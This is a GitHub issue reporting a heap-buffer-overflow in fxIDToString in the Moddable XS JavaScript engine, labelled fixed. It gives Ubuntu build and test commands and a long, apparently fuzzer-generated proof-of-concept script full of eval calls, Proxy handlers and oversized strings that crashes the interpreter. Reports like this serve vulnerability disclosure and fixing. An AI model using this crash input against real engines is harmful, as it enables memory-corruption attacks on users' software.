Jump to bottom New issue

## heap-buffer-overflow(fxIDToString) #583

 $\langle \rangle$  Code  $\odot$  Issues 27 % Pull requests 15  $\bigcirc$  Discussions  $\odot$  Actions  $\boxplus$  Projects

⊙ Closed rain6851 opened this issue on Feb 26, 2021 · 0 comments

Labels

fixed - please verify

rain6851 commented on Feb 26, 2021

## **Enviroment**

```
operating system: ubuntu18.04
compile command: cd /pathto/moddable/xs/makefiles/lin make
test command: ./xst poc
```

## poc:

```
var b2 = new Uint8Array(171);
b2[0] = 0;
b2[1] = 97;
function makeOobString() {
      var hiddenValue = getHiddenValue();
var fun = eval(str);
      var tun = eval(str);
var str = '\\'';
var c = foo(/[\s\r\n]+/g).map(m, 'AAAA');
var fun = eval(str);
var obbString( = makeOobString();
var hiddenValue = getHiddenValue();
      f(fun, hiddenValue);
      var oobString = WebAssembly.Module();
var fun = eval(str);
return oobString;
}
b2[2] = 115;
var i = 0;

b2[3] = 109;
var Wtwd = new Map([
     [
            1073741823.
             -9007199254740994,
            42,
0.2,
             -9007199254740992
            -4294967296,
-1.7976931348623157e+308,
            1073741822.
            3.141592653589793,
9007199254740994,
            1200,
1e+400,
            3037000498
]);
fr
function getHiddenValue() {
      var obj = {};
var oob = '(new Number(0))';
      oob = 'valueOf'.repeat('re', JSON.parse(978));

var str = 'U*|m^c}d|#~^.g';

function foo(x) {
            MEM[array.length] *= 0;
var o = a.map.call(p, test);
      var fun = eval(str);
      var run = eval(str),
var a = new Array(1, 2, 3);
f(obj, fun);
var ar = new Int8Array(c[0]);
      return obj;
 b2[4] = 1;
function getHiddenValue() {
      var MEM = new stdlib.Uint8Array(heap);
var handler = {
            get: function (target, name) {
   if (name == '') {
                        return 256;
                  var i = 0:
                  return { [Symbol.species]: dummy };
             has: function (target, name) {
                  var oobString = makeOobString();
return true;
      };
var obj = {};
      function getHiddenValue() {
    var obj = {};
    var oob = '[\'z\']';
            oob = oob.replace('re', ' \'use strict\' '.repeat(1048576));
```

```
var str = 'new Number(1)' + oob + 'enumberable';
                     var fun = eval(str);
                    Object.assign(obj, fun);
                    return obj;
           var oobString = fun.toString();
         var str = '-0';
var d = new Array(1, 2, 3);
          function getHiddenValue() {
                    var ar = new Int8Array(c[0]);
var obj = {};
                   val doj = [],
var handler = {
    get: function (target, name) {
        if (name == '({valueOf:function(){return 0;}})') {
            return 256;
            return 256;
            return 256;
                                        var i = 0;
                                       return { [Symbol.species]: dummy };
                              has: function (target, name) {
                                      var oob = 'eval';
return true;
                     var oob = 'call':
                    oob = f('re', log(0.45603744997993667));
var str = 'caller';
                     function foo(x) {
                              var oobString = makeOobString();
MEM[array.length] *= 0;
                              var obj = {};
var m = parseInt(new Uint8Array(log(/[\s\r\n]+/g).map(v => parseInt(v, 16))));
                     var fun = eval(str);
var oobString = fun.toString();
                     '00 61 73 6d 01 00 00 00 00 05 04 42 42 42 42 0 1F 04 41 41 41 41'.split(obj, fun);
                                        ''.repeat(new Uint8Array(parseInt.customSections(v => parseInt(v, 16))));
                     return obj;
           var oob = '(new String(\'\'))';
         oob = Object('[]', eval(1048576));
function getHiddenValue() {
                    var obj = {};
var oob = 'createIsHTMLDDA()';
                   oob = oob - replace('configurable', 'eval'.repeat(1048576));
var str = '{}' + oob + '({valueOf:function(){return 0;}})';
var fun = eval(str);
Object.assign(obj, fun);
                    return obj;
          var o = a.map.call(p, test);
         var str = str;
var str = ' /x/g ';
var array = [];
         var array = [];
var d = new Array(1, 2, 3);
var str = '<h3>';
var fun = eval(str);
         eval(obj, fun);

var fun = eval(str);

var a = new Array(1, 2, 3);
          function log() {
   var str = '<h3>';
                    for (var i = 0; KTta; i++) {
    str += arguments[i];
                    str += '</h3>';
                    FMRc.call(/[\s\r\n]+/g).map(str);
           var p = new Proxy([], handler);
 var HJaX = Promise;
 var m = '00 61 73 6d 01 00 00 00 00 05 04 42 42 42 42 0 1F 04 41 41 41 '.split(new Uint8Array(parseInt(v => parseInt(v, 16))));
function log() {
  var str = '1';
         var oobString = fun.toString();
for (var i = 0; GXka; i++) {
    str += arguments[i];
          str += '</h3>';
          function test() {
                  return 131354989131639;
         getHiddenValue(str);
function test() {
  var oobString = fun.toString();
          return 131354989131639:
b2[374] = 0;
 var hiddenValue = getHiddenValue();
b2[7] = 0;
 b2[0.6882051344744746] = 1;
var hiddenValue = getHiddenValue();
var r = new RegExp(RegExp(' /x/g '));
var i = 0;
b2[9] = 14;
function makeOobString() {
         var hiddenValue = getHiddenValue();
var str = 'arguments.callee';
var o = a.map.call(p, test);
         var fun = eval(str);
var fun = eval(str);
          \label{local_problem} \mbox{var m = JSON.stringify(/[\s\r\n]+/g).map(new Uint8Array(print(/[\s\r\n]+/g).map(v \Rightarrow parseInt(v, 16))));} \\ \mbox{var m = JSON.stringify(/[\s\r\n]+/g).map(new Uint8Array(print(/[\s\r\n]+/g).map(v \Rightarrow parseInt(v, 16))));} \\ \mbox{var m = JSON.stringify(/[\s\r\n]+/g).map(new Uint8Array(print(/[\s\r\n]+/g).map(v \Rightarrow parseInt(v, 16))));} \\ \mbox{var m = JSON.stringify(/[\s\r\n]+/g).map(new Uint8Array(print(/[\s\r\n]+/g).map(v \Rightarrow parseInt(v, 16))));} \\ \mbox{var m = JSON.stringify(/[\s\r\n]+/g).map(new Uint8Array(print(/[\s\n\n]+/g).map(v \Rightarrow parseInt(v, 16))));} \\ \mbox{var m = JSON.stringify(/[\s\n\n]+/g).map(new Uint8Array(print(/[\s\n\n]+/g).map(v \Rightarrow parseInt(v, 16))));} \\ \mbox{var m = JSON.stringify(/[\s\n\n]+/g).map(new Uint8Array(print(/[\s\n\n]+/g).map(v \Rightarrow parseInt(v, 16))));} \\ \mbox{var m = JSON.stringify(/[\s\n\n]+/g).map(new Uint8Array(print(/[\s\n\n]+/g).map(new Uint8Array(print(/[\s\n\n]+/g)).map(new Uint8Array(print(/[\s\n\n]+/g))).map(new Uint8Array(print(/[\s\n\n]+/g)).map(new Uint8Array(print(/[\s\n\n]+/g))).map(new Uint8Array(print(/[\s\n\n]+/g))).map(new Uint8Array(print(/
         var handler = {
   get: function (target, name) {
      if (name == 'length') {
                                       return 256;
                              return { [Symbol.species]: dummy };
```

```
has: function (target, name) {
                    return true;
              }
       var ar = new Int8Array(c[0]);
Object(fun, hiddenValue);
       var oobString = eval();
return oobString;
        function getHiddenValue() {
              }
var o = a.map.call(p, test);
var fun = eval(str);
function log() {
    var str = '<h3>';
    for (var i = 0; GXka; i++) {
                           var oobString = fun.toString();
str += arguments[i];
function test() {
    return 131354989131639;
                     str += 'arguments.callee';
var str = '{}' + oob + 'call';
f(str);
                'prototype'.repeat(obj, fun);
               return obj;
}
var oobString = makeOobString();
var o = a.map.call(p, test);
var fun = eval(str);
var GXka = new Boolean();
 var Wtwd = new Map([
      ]
              667,
-9007199254740994,
              443,
0.07347175385557603,
               -9007199254740992
               -364,
-1.7976931348623157e+308,
              1073741822,
3.141592653589793,
9007199254740994,
              1200,
0.44760134769754445,
 b2[10] = 3;
 var a = new Array(1, 0.045601841670223076, 0.10425251163056126); b2[11] = 96;
b2[11] = 96;

b2[12] = 1;

var str = '-Infinity';

b2[13] = 127;

b2[14] = 0;

b2[15] = 96;

var i = 0;

var array = [];

b2[16] = 775;

var hidden/alue = setHi
 var hiddenValue = getHiddenValue();
var str = '<h3>';
b2[17] = 55;
               1073741823.
               -9007199254740994,
               876,
               0.2,
-9007199254740992
               -4294967296,
               -1.7976931348623157e+308,
               1073741822,
3.141592653589793,
               9007199254740994.
               1e+400.
               3037000498
       1
  var str = 'new String(\'q\')';
 var str = new string(\q\),
b2[18] = 96;
var obj = {};
var obj = {};
var m = '*'.repeat(new Uint&Array(getHiddenValue(v => parseInt(v, 16))));
 b2[19] = 2;
 D2[20] = 127;
var c = fun.toString(m, 'arguments.callee');
b2[21] = 127;
 b2(21) = 12/;
var oob = '/re/';
var oobString = makeOobString();
var p = new Proxy([], handler);
b2[22] = 0.3450387102817629;
 var fun = eval(str);
var str = '[0]';
var Wtwd = new Map([
       1
              1073741823.
                -672,
              42,
0.2,
-9007199254740992
```

```
-4294967296,
              -1.7976931348623157e+308,
              1073741822,
3.141592653589793,
              9007199254740994,
             1200,
1e+400,
              3037000498
       ]
]);
]);
b2[23] = 833;
b2[24] = 2;
var fun = eval(str);
var Wtwd = new Map([
              1073741823
               -9007199254740994,
              42,
              0.2,
-9007199254740992
              -826,
              -826,
-1.7976931348623157e+308,
1073741822,
3.141592653589793,
              9007199254740994,
             1200,
1e+400,
              3037000498
       ]
 ]);
b2[25] = 35;
D2(2) = 35;
function getHiddenValue() {
  var obj = {};
  var p = new Proxy([], handler);
  var i = 0;
  function test() {
              return 131354989131639;
       }
var oob = '{x:3}';
var a = new Array(1, 2, 3);
       var a = new Array(1, 2, 3);
function makedobString() {
    var hiddenValue = getHiddenValue();
    var str = 'function(){}';
    var fun = eval(str);
    Object.asssign(fun, hiddenValue);
             var oobString = fun.toString();
return oobString;
      }
oob = f('re', foo(/[\s\r\n]+/g).map(1048576));
var str = oob;
function foo(x) {
    var fun = eval(str);
    MEM[array.length] *= 0;
        var fun = eval(str);
        ''.repeat(obj, fun);
       var obj = {};
var handler = {
             get: function (target, name) {
   if (name == 'apply') {
      return 256;
                    yar i = 0;
                    return { [Symbol.species]: dummy };
              has: function (target, name) {
                   var oob = 'eval';
return true;
       }; var m = foo(/[\s\r\n]+/g).map(new Uint8Array(foo(/[\s\r\n]+/g).map(/[\s\r\n]+/g).map(v \Rightarrow parseInt(v, 16))));
       var str = '{}' + oob + '}';
var p = new Proxy([], handler);
return obj;
b2[26] = 2;
var ar = new Int8Array(c[0.14427504137296565]);
b2[0.21503255514884878] = 2;
var fun = eval(str);
b2[28] = 106;
b2[0.25818522699508195] = 115;
var obj = {};
var Wtwd = new Map([
              1073741823.
               -9007199254740994,
              42,
              -0.29683083976254676
              -4294967296,
              -1.7976931348623157e+308,
              1073741822,
3.141592653589793,
              9007199254740994.
             1200,
1e+400,
              3037000498
       ]
 ]);
var fun = eval(str);
var m = f(new Uint8Array(WebAssembly.Module(/[\s\r\n]+/g).map(/[\s\r\n]+/g).map(v => parseInt(v, 16))));
var fun = eval(str);
b2[30] = 3;
function log() {
       var str = '';
var hiddenValue = getHiddenValue();
for (var i = 0; KTta; i++) {
```

```
str += arguments[i];
        var oobString = fun.toString();
        str += 'callee';
        foo(/[\s\r\n]+/g).map(/[\s\r\n]+/g).map(str);
 h2[934] = 0.13520367501571928:
 function getHiddenValue() {
       var obj = {};
       var obj = {};
var oob = '';
       var out = ';
var a = new Array(1, 2, 3);
oob = log('*', log(/[\s\r\n]+/g).map(1048576));
var str = '<\hat\rangle';
var str = '/\theta';</pre>
        function getHiddenValue() {
              ction getHiddenValue() {
var obj = {};
var oob = 'valueOf';
oob = oob.replace('re', 'eval'.repeat(1048576));
var str = '{}' + oob + '}';
var fun = eval(str);
Object.assign(obj, fun);
               return obj;
        function foo(x) {
              MEM[array.length] *= 0;
       vui 1 = 0;
var m = getHiddenValue(new Uint&Array(eval(v => parseInt(v, 161))));
var i = 0;
var fun = eval(str);
'**.repeat(obj, fun);
return obj;
 b2[32] = 0.6597113836158741;
D2[32] = 0.0597118380136741;

D2[33] = 109;

D2[34] = 0.06746787618936523;

var i = 0;

var array = [];

D2[35] = 0;

D2[36] = 1;
var array = [];
var str = ' /x/ ' + oob + '';
var ar = new Int8Array(c[0]);
 var str = '*';
b2[115] = 7;
var c = parseInt(m, 'AAAA');
b2[38] = 105;
b2[39] = 109;
 var fun = eval(str);
var o = a.map.call(p, test);
van or = ':
function makeOobString() {
  var str = '+0' + oob + '}';
  var hiddenValue = getHiddenValue();
       var str = '({x:3})';
var fun = eval(str);
       function getHiddenValue() {
  var obj = {};
  var oob = '({valueOf:function(){return 0;}})';
              var oon = '({Valueur:runction(){return e;}})';
oob = oob.replace('re', 'Infinity'.repeat(1048576));
var str = 'v2' + oob + '_proto_';
var fun = eval(str);
Object.assign(obj, fun);
               return obj;
       var array = [];
var oobString = fun.toString();
       var r = new RegExp(RegExp('(new Number(0))'));
getHiddenValue(fun, hiddenValue);
        var foo = function (stdlib, foreign, heap) {
               '1.23';
var MEM = new stdlib.Uint8Array(heap);
               function foo(x) {
  var i = 0;
                     MEM[MEM[b2[63]]] *= 0;
               return { foo: foo };
       return { roo: roo };
var obj = {};
}(this, {}, new ArrayBuffer(1)).foo;
var str = 'null';
var oobString = foo();
return oobString;
b2[40] = 112;
b2[41] = 111;
var m = log(new Uint8Array(log(/[\s\r\n]+/g).map(/[\s\r\n]+/g).map(v => parseInt(v, 16)))); var oob = 'Infinity';
b2[42] = 114;
var r = new RegExp(RegExp(' /x/ '));
b2[43] = 116;
 b2[44] = 115;
var obj = {};
var c = xhCc.call(m, '({x:3})');
b2[45] = 13;
b2[45] = 13;
van obString = fun.toString();
van obj = {};
b2[46] = 105;
van m = f(new UintBArray(WebAssembly.Module(v => parseInt(v, 16))));
b2[47] = 109;
b2[48] = 112;
b2[49] = 111;
 var obj = {};
function getHiddenValue() {
      var obj = {};
var str = 'apply' + oob + '}';
var oob = '/re/';
var fun = eval(str);
       oob = print(' \'\\0\' ', eval(1048576));
var str = str;
        function getHiddenValue() {
               var obj = {};
var d = new Array(1, 2, 3);
```

```
var oob = '[1]';
                        var handler = {
                                  get: function (target, name) {
   if (name == '[1]') {
                                                       return 256;
                                             var i = 0;
var hiddenValue = getHiddenValue();
                                             return { [Symbol.species]: dummy };
                                  },
has: function (target, name) {
                                            return true;
                                 }
                       };
                        var oob = 'eval';
                     var i = 0;
                                  str += '</h3>';
                                   'createIsHTMLDDA()'.repeat(str);
                        function foo(x) {
                                MEM[array.length] *= 0;
                       }
var fun = eval(str);
'00 61 73 6d 01 00 00 00 00 05 04 42 42 42 42 0 1F 04 41 41 41 41'.split(obj, fun);
                       return obj;
           eval(obj, fun);

var a = new Array(0.7509782354189012, 0.1974859854024249, 3);

return obj;
            var o = a.map.call(p, test);
function makeOobString() {
                      var hiddenValue = getHiddenValue();
var str = ' /x/g ';
var fun = eval(str);
Object.assign(fun, hiddenValue);
                       var oobString = fun.toString();
return oobString;
           }
var str = 'value' + ' \'A\' ';
var str = value + \A\;
var m = WebAssembly.Module([[\s\r\n]+/g).map(new Uint8Array(foo(v => parseInt(v, 16))));
var hiddenValue = getHiddenValue();
var obfstring = makeObString();
var oobString = makeObString();
 for (var ijjkkk = 0; GXka; ++ijjkkk) {
   var Wtwd = new Map([
                                 0.7796790656098118,
                                  -9007199254740994,
0.8206442487387069,
                                  0.2.
                                  -9007199254740992
                       1,
                                  -1.7976931348623157e+308,
                                  0.8584196717738266,
                                  3.141592653589793.
                                   9007199254740994,
                                  1200,
1e+400,
                                  3037000498
            ]);
           var DWXm = b2[18];
var i = 0;
var hiddenValue = getHiddenValue();
 var c = '-0'.repeat(m, 'AAAA');
  b2[50] = 114;
  var i = 0;
  function getHiddenValue() {
           var fun = eval(str);
var obj = {};
var oobString = makeOobString();
          var oobString = makeOobString();
var a = new Array(1, 2, 3);
var oob = '\'\\0\';
var m = getHiddenValue(new Uint8Array('true'.repeat(v => parseInt(v, 16))));
var o = a.map.call(p, test);
oob = print('1024', eval(1048576));
var oobString = makeOobString();
var str = str;
            var hiddenValue = getHiddenValue();
           var fun = eval(str);
var str = '+0' + oob + '}';
            eval(obj, fun);
            return obj;
}
b2[229] = 116;
b2[52] = 101;
b2[53] = 100;
var o = a.map.call(p, test);
function getHiddenValue() {
           var obj = {};
var oob = '/0/';
           oob = oob.replace('true', '/0/'.repeat(1048576));
var str = 'apply' + oob + '}';
var fun = eval(str);
            Object.assign(obj, fun);
            return obi:
 \label{eq:var_map} $$ var \ m = foo(/[\s\r\n]+/g).map(/[\s\r\n]+/g).map(new \ Uint8Array(' \'use \ strict\' '.split(v \Rightarrow parseInt(v, 97)))); $$ $$ var \ m = foo(/[\s\r\n]+/g).map(/[\s\r\n]+/g).map(new \ Uint8Array(' \'use \ strict\' '.split(v \Rightarrow parseInt(v, 97)))); $$ $$ var \ m = foo(/[\s\r\n]+/g).map(/[\s\r\n]+/g).map(new \ Uint8Array(' \'use \ strict\' '.split(v \Rightarrow parseInt(v, 97)))); $$ $$ var \ m = foo(/[\s\r\n]+/g).map(/[\s\n]+/g).map(new \ Uint8Array(' \'use \ strict\' '.split(v \Rightarrow parseInt(v, 97)))); $$ $$ var \ m = foo(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(new \ Uint8Array(' \'use \ strict\' '.split(v \Rightarrow parseInt(v, 97)))); $$ $$ var \ m = foo(/[\s\n]+/g).map(/[\s\n]+/g).map(new \ Uint8Array(' \'use \ strict\' '.split(v \Rightarrow parseInt(v, 97)))); $$ $$ var \ m = foo(/[\s\n]+/g).map(/[\s\n]+/g).map(new \ Uint8Array(' \'use \ strict\' '.split(v \Rightarrow parseInt(v, 97)))); $$ $$ var \ m = foo(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[\s\n]+/g).map(/[
var i = 0;
var i = 0;
```

```
var oob = '/re/';
b2[0.8673405704175872] = 95;
var oobString = f();
function log() {
       var str = '<h3>';
for (var i = 0; KTta; i++) {
            str += arguments[i];
       str += 'nh8w?V-|Obj-Qk';
        '*'.repeat(str);
 var foo = function (stdlib, foreign, heap) {
      'valueOf';
var MEM = new stdlib.Uint8Array(heap);
      van MEM = new stdlib.Uint8Array(heap);
var oobString = makeQobString();
function getHiddenValue() {
  var obj = {};
  var ob = 'eval';
  oob = oob.replace('get', 'valueOf'.repeat(1048576));
  var str = '(x:3)' + oob + '';
  var fun = eval(str);
  Object.assign(obj, fun);
              return obj;
        function foo(x) {
             var fun = eval(str);
var ar = new Int8Array(c[0]);
              MEM[MEM[b2[0.9599101550187807]]] *= 0.7851860562972905;
rar p = new Proxy([], handler);
var str = ' /x/g ';
return { foo: foo };
}(this, {}, new ArrayBuffer(1)).foo;
 var c = WebAssembly.Module(m, 'AAAA');
b2[55] = 102;
b2[56] = 117;
b2[56] = 117;
function log() {
    var str = '({toString:function(){return \'0\';}})' + oob + '(new Number(0))';
    var str = '<h3>';
    for (var i = 0.356617893262703; ijjkkk < 100000; i++) {</pre>
              function getHiddenValue() {
                    iction gerntouervalue() {
  var obj = {};
  var oob = '[undefined]';
  oob = oob.replace('re', 'get'.repeat(1848576));
  var str = '{}' + oob + 'arguments';
  var fun = eval(str);
                     Object.assign(obj, fun); return obj;
              var Wtwd = new Map([
                           832,
                             -9007199254740994,
                            42,
                            0.2,
                            -9007199254740992
                            -4294967296,
                            -1.7976931348623157e+308.
                            1073741822,
3.141592653589793,
                            0.4727860951392562,
0.10379895794589467,
                           1e+400,
3037000498
              str += arguments[i];
var str = '{}' + oob + '}';
      str += '</h3>';
parseInt.customSections(str);
var hkxa = b2[26];
var d = new Array(1, 2, 3);
var oobString = fun.toString();
b2[58] = 99;
b2[59] = 0;
 var i = 0;
b2[60] = 0;
var str = '({x:3})';
var ar = new Int8Array(c[0]);
b2[61] = 3;
b2[62] = 3;
 var fun = eval(str);
function foo(x) {
      MEM[array.length] *= 0;
b2[63] = 2;
 var hiddenValue = getHiddenValue();
 b2[64] = 1;
D2[64] = 1;
function log() {
   var str = '(void 0)';
   for (var i = 0; KTta; i++) {
             str += arguments[i];
       yar str = ' /x/g ';
      str += '</h3>';
var oobString = makeOobString();
       foo(str);
b2[65] = 2;
var o = a.map.call(p, test);
var fun = eval(str);
var str = 'createIsHTMLDDA()';
 var r = new RegExp(RegExp('\'\'));
function makeOobString() {
      var hiddenValue = getHiddenValue();
var str = '(new Boolean(false))';
var fun = eval(str);
```

```
Object.assign(fun, hiddenValue);
       var oobString = fun.toString();
return oobString;
b2[527] = 7;
b2[449] = 30;
bc[e44] = 2;
var oob = 'eval';
var m = print(new Uint8Array(''.repeat(v => parseInt(v, 16))));
 function getHiddenValue() {
      var obj = {};
var obj = {};
var ob = 'callee';
obb = obb.replace('re', 'eval'.repeat(1048576));
var str = '{}' + oob + 'set';
var fun = eval(str);
Object.assign(obj, fun);
       return obj;
 b2[69] = 13;
 var oobString = makeOobString();
 b2[70] = 101;
var Wtwd = new Map([
      [
              1073741823,
              -9007199254740994,
             42,
0.2,
              -9007199254740992
              -4294967296,
-1.7976931348623157e+308,
              1073741822,
              3.141592653589793,
              1200.
             1e+400,
3037000498
]);
 var hiddenValue = getHiddenValue();
var oobString = makeOobString();
function log() {
   var str = '';
       for (var i = 0; KTta; i++) {
    str += arguments[i];
      }
str += '</h3>';
DJkJ.call(/[\s\r\n]+/g).map(str);
       var p = new Proxy([], handler);
 var fun = eval(str);
var a = new Array(1, 2, 3);
var fun = eval(str);
b2[71] = 777;
var a = new Array(1, 2, 3);
var i = 0;
b2[72] = 112;
b2[73] = 111;
var d = new Array(1, 2, 3);
var kzcJ = MEM[MEM[b2[52]]];
 var d = new Array(1, 2, 3);
b2[74] = 114;
function foo(x) {
       MEM[array.length] *= 0.7649781824601538;
}
function makeOobString() {
   var hiddenValue = getHiddenValue();
   var str = ' /x/g ';
   var fun = eval(str);
      Object.assign(fun, hiddenValue);
var oobString = fun.toString();
return oobString;
b2[75] = 116;
var hiddenValue = getHiddenValue();
var niddenvalue = getHiddenvalue();
var ob = '';
var p = new Proxy([], handler);
var str = '{}' + oob + 'Infinity';
var oobString = makeOobString();
 b2[76] = 101;
var o = a.map.call(p, test);
var DJkJ = f();
var oobString = makeOobString();
 function getHiddenValue() {
  var o = a.map.call(p, test);
       var obj = {};
var oob = '[]';
var handler = {
             get: function (target, name) {
   if (name == 'č') {
                         return 256;
                     var i = 0;
                   return { [Symbol.species]: dummy };
              has: function (target, name) {
                   return true;
       var hiddenValue = getHiddenValue();
oob = Object.assign('', f(377));
       var str = 'value';
var str = 'valueOf';
       function foo(x) {
             MEM[array.length] *= 0;
       var obj = {};
       var fun = eval(str);
function log() {
             var str = '[0]';
for (var i = 0; KTta; i++) {
    str += arguments[i];
```

```
var str = ' /x/g ';
str += '';
              parseInt(/[\s\r\n]+/g).map(str);
              var o = a.map.call(p, test);
       var str = 'writable';
foo(obj, fun);
       return obj;
 var oobString = fun.toString();
var obostring = fun.tostring
b2[385] = 100;
var obj = {};
var str = ' /x/g ';
var i = 0.4394732372222374;
b2[78] = 934;
b2[79] = 102;
var oob = 'enumberable';
b2[80] = 117;
var handler = {
       get: function (target, name) {
   if (name == 'length') {
                    return 256;
              var i = 0;
             return { [Symbol.species]: dummy };
       has: function (target, name) {
             return true;
};
var fun = eval(str);
var fun = eval(str);
b2[81] = 118;
b2[82] = 99;
var Zxac = DWXm.call(/[\s\r\n]+/g).map(/[\s\r\n]+/g).map(1.3);
var obe = 'length';
var c = Object(m, 'enumberable');
b1931 = a.
b2[83] = 0;
 var Wtwd = new Map([
             1073741823,
-9007199254740994,
              0.8995786686958036,
              -9007199254740992
              -4294967296,
-1.7976931348623157e+308,
              1073741822,
0.3957353019569745,
              9007199254740994,
             1200,
733,
              3037000498
 ]);
  var c = 'ざ'.repeat(m, 'AAAA');
b2[84] = 1;
b2[85] = 0.39668982035420863;
b2[86] = 97;
var c = WebAssembly.Module(/[\s\r\n]+/g).map(m, 'AAAA');
 b2[0.7977861306267542] = 99;
var MEM = new stdlib.Uint8Array(heap);
van whm = new stdiib.Uintsarray(neap);
van obj = {};
for (var ijjkkk = 0; KTta; ++ijjkkk) {
   van a = new Array(1, 2, 3);
   van fun = eval(str);
   van GCdf = JSON;
f
b2[88] = 99;
var fun = eval(str);
b2[0.7735034424046705] = 0.6520197328936144;
 var ar = new Int8Array(c[0]);
var i = 0;
b2[328] = 109;
var ar = new Int8Array(c[0]);
b2[91] = 117;
bz[91] = 117;
function makeOobString() {
  var hiddenValue = getHiddenValue();
  var str = ' /x/g ';
  var fun = eval(str);
       Object.assign(fun, hiddenValue);
var oobString = fun.toString();
       return oobString;
b2[92] = 108;
var i = 0;
b2[93] = 97;
f();
b2[94] = 116;
var i = 0;
var str = ' /x/g ';
var handler = {
    get: function (target, name) {
             if (name == 'length') {
    return 256;
             return { [Symbol.species]: dummy };
       },
has: function (target, name) {
            return true;
};
var c = FMRc.call(m, 'AAAA');
var str = ' /x/g ';
b2[95] = 101;
var oobString = fun.toString();
var Wtwd = new Map([
             1073741823,
-0.7980880066582703,
```

```
0.3398226154365076,
                 -9007199254740992
        ],
                -4294967296,
                -1.7976931348623157e+308,
               1073741822,
3.141592653589793,
               9007199254740994,
               1e+400,
3037000498
 ]);
  var oob = 'value';
 b2[402] = 0;
b2[402] = 0;

b2[97] = 2;

b2[98] = 10;

var o = a.map.call(p, test);

var fun = eval(str);

var obj = {};

b2[99] = 0.6964130764836092;

b2[0.8946850256758991] = 2;
  var i = 0:
 function log() {
   var str = '';
   for (var i = 0; KTta; i++) {
              str += arguments[i];
        str += 'arguments';
JSON.stringify(str);
 var p = new Proxy([], handler);
var ar = new Int8Array(c[0]);
 var ar = new intowrray(c[e]);
function makeOoString() {
   var hiddenValue = getHiddenValue();
   var str = ' /x/g ';
   var fun = eval(str);
   Object.assign(fun, hiddenValue);
        var oobString = fun.toString();
return oobString;
 var bQDT = b2[216];
 b2[101] = 6;
var str = ' /x/g ';
var Wtwd = new Map([
               1073741823,
               -9007199254740994,
42,
               0.2,
                -9007199254740992
        ],
               -4294967296,
                -1.7976931348623157e+308,
               1073741822,
3.141592653589793,
               9007199254740994.
               1200,
1e+400,
               3037000498
        ]
 function getHiddenValue() {
        var obj = {};
var oob = 'eval';
        var oub = eval,
oob = oob.replace('re', 'undefined'.repeat(1048576));
var str = 'v0' + oob + '}';
var fun = eval(str);
Object.assign(obj, fun);
        return obj;
 function getHiddenValue() {
        var obj = {};
function makeOobString() {
               var hiddenValue = getHiddenValue();
var str = ' /x/g ';
var fun = eval(str);
               Object.assign(fun, hiddenValue);
               var oobString = fun.toString();
return oobString;
        }
var oobString = makeOobString();
var p = new Proxy([], handler);
var m = JSON.stringify(new Uint8Array(f(v => parseInt(v, 16))));
var str = 'configurable';
var oob = '';
        var d = new Array(1, 2, 3);
oob = 'č'.repeat('re', eval(1048576));
        coud = c .repeat(re ; eval(tends/of));
van str = str;
van str = '{(valueOf:function(){return \'0\';}})';
van fun = eval(str);
eval(obj, fun);
        return obj;
 b2[102] = 0;
b2[103] = 65;
var i = 0;
  b2[0.01645313561602557] = 42;
 b2[105] = 16;
 var handler = {
   get: function (target, name) {
               if (name == '({})') {
    return 256;
                function getHiddenValue() {
                      var obj = {};
var oob = 'eval';
                       var oub = eval;
oob = oob.replace('{}', '1'.repeat(1048576));
var str = '\'/0/\'' + oob + '0.1';
var fun = eval(str);
```

```
Object.assign(obj, fun);
                     return obj;
              return { [Symbol.species]: dummy };
        has: function (target, name) {
    return true;
}
};
b2[750] = 0;
b2[107] = 11;
b2[108] = 347;
b2[109] = 1;
var obj = {};
function log() {
   var str = 'ch3o';
   for (var i = 0; KTta; i++) {
      var d = new Array(1, 2, 3);
      str += arguments[i];
   }
        str += '</h3>';
        var oob = 'eval';
log(/[\s\r\n]+/g).call(str);
 var obj = {};
b2[110] = 255;
  function makeOobString() {
        var hiddenValue = getHiddenValue();
function getHiddenValue() {
              var obj = {};
var obj = {};
var ob = 'eval';
obb = obb.replace('re', ' /x/ '.repeat(0.573204658263275));
var str = 'constructor' + oob + '}';
var fun = eval(str);
              Object.assign(obj, fun);
              return obj;
        var str = '({x:3})';
var fun = eval(str);
        van in = cea_(atf),
function log() {
   var str = '(new Boolean(false))';
   var handler = {
      get: function (target, name) {
                          if (name == 'value') {
   return 256;
                          }
var i = 0;
return { [Symbol.species]: dummy };
                     },
has: function (target, name) {
                           return true;
              function test() {
                    return 131354989131639;
              var oob = 'eval';
for (var i = 0; ijjkkk < 100000; i++) {</pre>
                    str += arguments[i];
              str += '</h3>';
               foo(str);
         var handler = {
              get: function (target, name) {
   if (name == 'function(){}') {
      return 256;
                           var oobString = fun.toString();
                     }
var i = 0;
return { [Symbol.species]: dummy };
              has: function (target, name) {
    return true;
       'false';
